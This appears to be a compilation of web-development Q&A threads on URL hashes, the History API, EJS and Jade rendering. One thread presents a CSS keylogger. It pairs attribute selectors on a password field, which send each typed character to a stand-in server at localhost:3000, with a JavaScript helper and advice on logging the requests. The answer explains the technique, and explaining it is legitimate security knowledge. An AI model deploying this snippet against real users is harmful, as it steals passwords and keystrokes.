I have seen websites that have url parameters in the form of example.org/#Parameter, instead of example.org/?parameter=123. I am not talking about a url that scrolls the page to the id of an element, but rather in express.js, extract the value that comes after the # in the url. how can I do this?
You can use the global variable window.location.hash for get the value of hash variable of some URL.
Additionally you can catch hash value changes using the bellow jquery function:
$(window).on('hashchange', function() {
//some code
});
EDIT:
As far as a know, the window.location.hash is never sent to server/middleware, so it's not possible to obtain this parameters on express.
You should use the query strings parameter (example.org?parameter=123) instead.
Related
input[type="password"][value$="a"] {
background-image: url("http://localhost:3000/a");
}
const inp = document.querySelector("input");
inp.addEventListener("keyup", (e) => {
inp.setAttribute('value', inp.value)
});
Is what I've found but I don't think it works. How do I do it?
Edit: I realised that the CSS snippet won't work as typing in the input field will not change the value attribute of the html element. A JavaScript function is required to do this. Hence, include the last 3 lines of your snippet in a script tag and then it should work.
The CSS Keylogger was originally a thought experiment as explained in this LiveOverflow video. The snippet you are using is assuming that http://localhost:3000/ is a malicious Web server which records your HTTP requests.
In this case entering "a" on the keyboard (in the input field) would send a request to http://localhost:3000/a (for fetching the background image) which you may intercept as "a" on the Web server. You may write a NodeJS or Python Web server to intercept these requests and get the keystrokes.
I am currently developing a website that will dynamically load the page content using ajax triggered by hash changes.
The code looks like this
$("*").delegate("a", "click", function () {
// Trigger Hash Change
window.location.hash = $(this).attr("href");
return false;
});
$(window).bind('hashchange', function () {
let newHash = window.location.hash.substring(1);
$("#main-content").load(newHash + " #ajax-content", function (responseTxt, statusTxt, xhr) {
}).hide().fadeIn();
});
Basically what I am working on now is making the URL look "Pretty", I have modified the .htaccess file to remove the .html extension
So a URL that looks like this
www.example.com/about.html
will become this
www.example.com/about
If I navigate the index (home) "www.example.com" page of the website and then navigate from there to the about page, the URL looks fine. "www.example.com#about" since the server does not display the "index" in the URL.
However, if I navigate straight to the about page like this www.example.com/about, then from the about page to another page, for example, the contact page. I get a URL that looks like this www.example.com/about#contact. When it should look like this www.example.com#contact.
My question is what is the best way to handle this? should I use jquery to redirect all to the index page and then add the hash to load the correct content? or is there some way I can not display the unnecessary part of the URL?
I hope my question was clear, I'm new to the server-side stuff involving the .htaccess file. FOr the ajax stuff I was following this tutorial from CSS tricks
https://css-tricks.com/video-screencasts/85-best-practices-dynamic-content/
You can use history.pushState
window.history.pushState("object or string", "Title", "/new-url");
The url will be www.example.com/new-url
in fact you can get history.state after use this method.
console.log(window.history.state)
output should be "object or string"
You can see the docs here.
Remember to use / to override the entire path.
To do what i think that you want, you can just override the url to / and set the hash.
This is probably not the best way to do this, but I have managed to redirect any page to the home page and then replace the / with the hash value so that the site wont end up wit "messy" URLs.
if(window.location.pathname != "/home.html")
{
window.location.replace("home.html" + window.location.pathname.replace("/", "#"));
}
what happens id the user navigates to "*www.example.com/about*" they will actually be sent to the homepage with the #about.html. So the never end up like this "*www.example.com/about#about*"
I have several pages that are arrived on with valid GET data, such as http://website.com/?id=12345
I have a generic HTML form that is pulled onto many different pages using php's "require" and submits using POST. Regardless of which page this form is located on, it should always submit back to that same page. However, after the form is submitted, I would like the ?id=12345 to be stripped out.
So, for example, if the user is on http://website.com/new.php?id=12345, it should post back to http://website.com/new.php. If the user is on http://website.com/old.php?id=12345, that same form it should post back to old.php
Previously the best solution I found was to style the form as such:
<form action="?" method="POST">
Which will change all links to http://website.com/new.php? or http://website.com/old.php? which is very close, but not perfect.
As it turns out, I finally found the solution to my problem by using JavaScript:
url = location.href;
qindex = url.indexOf("?");
This can pull whatever is on the address bar as a string and find the index of the first ? mark. From there:
if(qindex != -1)
tells me that there is a ? mark
var plainUrl = url.substring(0, qindex);
Can get, as a string, everything up to the ? mark, but not after. Finally:
window.location.replace(plainUrl);
Will rewrite the address bar to the plain URL, not including the ? or whatever comes after, and without redirecting the browser.
Since your page will not undergo any server-side processing, you can achieve what you want via a combination of the following two tricks.
First, change your particular querystring to a hash, which is thereafter directly editable without triggering a page reload:
http://yourdomain.com/page.html#search=value
Then modify such a script as this to do what you want to do, according to the query string passed in.
<script type='text/javascript'>
// grab the raw "querystring"
var query = document.location.hash.substring(1);
// immediately change the hash
document.location.hash = '';
// parse it in some reasonable manner ...
var params = {};
var parts = query.split(/&/);
for (var i in parts) {
var t = part[i].split(/=/);
params[decodeURIComponent(t[0])] = decodeURIComponent(t[1]);
}
// and do whatever you need to with the parsed params
doSearch(params.search);
</script>
now you can delete the query string suffix in the following way:
As detailed elsewhere, namely hide variables passed in URL, it's possible to use JavaScript's History API in modern browsers.
history.replaceState({}, null, "/index.html");
That will cause your URL to appear as /index.html without reloading the page
This little gem is explained in more detail here:
https://developer.mozilla.org/en-US/docs/Web/API/History_API
I have the following function in my Node.js code that renders an HTML page and passes it an javascript object called htmlParamObj
exports.getPage = function (req, res, next) {
var htmlParamObj= {
propertyOne: 'yada',
propertyTwo: 'yada yada'
};
res.render('myPage.html',htmlParamObj);
};
I can access the incoming parameter (htmlParamObj) with EJS like so: <% propertyOne %>, but I don't know how to access htmlParamObj via the document itself. I believe htmlParamOb' will be attached to the document of the html - but what field in the document can I find it in? Is it in the head, the body, the childNodes? Where?
The object passed is only used while rendering the HTML, and will not be passed to the browser in any way.
If you need that data inside the page you need to put it there.
The solution I've used when I need to pass complex data to a client side script is to place a script tag near the top of my HTML EJS file and populate that with my data. For example I might add the following to my template:
<script>
window.MY_DATA = <%= JSON.stringify(myData) %>
</script>
Notice that since JSON is a subset of javascript, I can use JSON.stringify to serialize my data into a form suitable for placement inside a script tag, and assign it to whatever variable I want.
The limitation here is that you can't send any data that can't be serialized with JSON.stringify. Not a heavy burden, but could trip you up if you want to send a function or other object.
The solution I found is to define a global attribute in my HTML like so:
<a name="team" value="<%=team._id%>"></a>
then I can access it in any script like so:
<script>
var team = document.getElementsByName('team');
</script>
This will return the correct object.
However, I don't think this is the best answer, especially given that any globally defined variable is usually a bad idea. I am hoping another answer is given to this question.
I have a jade file called syntax.jade. What I need is a way to convert syntax.jade, along with the information I would normally pass it with a res.render statement, into a html document in node so that I can manipulate it in that form. Basically what I want is this:
when I use
res.render('syntax', {comment: comment}, function(err, html))
html contains the html of the page as a string. I need another way to get that code that doesn't require me to render the page in the browser.
The reason I want to do this is so that I can include the resulting HTML code in another res.render statement in order to provide formatting instead of doing all the formatting in the front end.
You can just require Jade as a Node module and use the renderFile() method.
var jade = require('jade');
jade.renderFile('syntax.jade', {comment: comment}), function (err, html) {
if (err) throw err;
// rendered string is in html variable
});
If there's no error, then you have a rendered HTML string as a result. If you want to do this synchronously, then just don't specify a callback:
var html = jade.renderFile('filename.jade', {comment: comment});
That is already what you have. From the express docs on res.render
When a callback is provided both the possible error and rendered
string are passed, and no automated response is performed.
So res.render(viewName, locals) does BOTH rendering of the HTML and sending that HTML as the HTTP response body. However res.render(viewName, locals, callback) with 3 arguments just renders the HTML and passes it to the callback without sending any HTTP response. Thus you can do whatever is needed with the HTML and then send a response later.
There is also app.render which is another general utility to render stuff without having anything to do with a particular http request/response.